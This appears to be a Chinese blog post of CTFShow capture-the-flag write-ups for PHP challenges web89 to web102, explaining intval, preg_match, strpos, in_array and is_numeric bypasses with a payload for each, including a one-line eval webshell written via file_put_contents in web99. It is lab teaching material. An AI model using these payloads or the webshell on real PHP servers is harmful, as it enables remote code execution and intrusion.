PHP特性

web89&90&92&93

intval函数用于获取变量的整数值

绕过姿势:

(1)数组绕过 数组非空时返回1 为空时返回0

  弱比较时候可以传入两个空数组

(2)小数转换

 

intval() 转换小数类型时,只返回个位数,不遵循四舍五入的原则。

 某个数字被过滤 可以在后面加上小数部分

(3) 整数加字符 eg:4456a 被解析为4456

(4)取反 支持两次取反绕过

(5)可以通过运算符 5*5=25 绕过25的过滤

但这里过滤了0~9

这里可以构造数组 数组非空时返回1

payload:?num[]=1

web91&

绕过preg_match

/m 表示多行匹配

91:本题需要匹配到换行后的php 但不能匹配到本行的php

if(preg_match('/^php$/im'$a)){
    if(preg_match('/^php$/i'$a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

因此可以构造%0aphp

 

web94&95

strpos函数

查找字符串首次出现的位置

 if(!strpos($num"0")){
        die("no no no!");

表示num中必须要包含0

但是第一位不能是0!! 如果第一位是0 strpos函数就会执行die

所以不能使用常规8进制绕过

这里可以使用小数绕过 4476.10

 

95这道题过滤了小数点

可以使用八进制 + %0a 或者%20 组合进行绕过

payload=%0a010574

 

web96

过滤了flag.php

linux下可以使用./表示根目录 因此可以使用./flag.php

web97

md5强碰撞 用数组绕过

 

web98

$_GET?$_GET=&$_POST:'flag';  如果使用GET传参,则使用POST传参来代替
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; 如果GET传参flag的值=flag则将cookie的值代替flag中的值
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; 如果GET传参flag的值=flag则将server的值代替flag中的值
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);如果GET传参HTTP_FLAG的值为flag则输出$flag

get传一个http_flag的任意值

再post一个http_flag=flag 即可

 

web99

$allow = array();
for ($i=36$i 0x36d$i++) { 
    array_push($allowrand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

array_push()向第一个参数的数组尾部添加一个或多个元素 即插入一个随机值

in_array()函数搜索数组中是否存在指定的值。这里并没有第三个参数type,

因此存在漏洞,就可以形成自动转换,即n=1.php会自动转换为1

file_put_contents函数将一个字符串写入文件中,因此可以通过post传参一句话木马到1.php中

?n=1.php

content=<?php @eval($_POST[a]);?>

 

web100&web101

is_numeric函数

作用是判断输入是不是数字或数字字符串。

对于整数的整型 浮点型 以及字符型 ‘1.1’

还有16进制 或者0e开头的科学计数法都是true

都会返回TRUE

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

and 和or 的优先级都低于=

已经只需要满足v1是纯数字

eval("$v2('ctfshow')$v3");

v2一定要用来执行命令 也就是构造出

 

涉及到类,可以考虑使用 ReflectionClass 建立反射类。

 

new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。

echo new ReflectionClass(‘ctfshow’)

v3正则必须有;,可以v3=;作为v2语句的结束符

 

payload:
?v1=1&v2=echo new ReflectionClass&v3=;


web102
substr函数
从字符串中截取字符
string substr( $str, start, length);
call_user_func


 

posted @ 2024-03-12 22:46  Heck1ng  阅读(16)  评论(0)    收藏  举报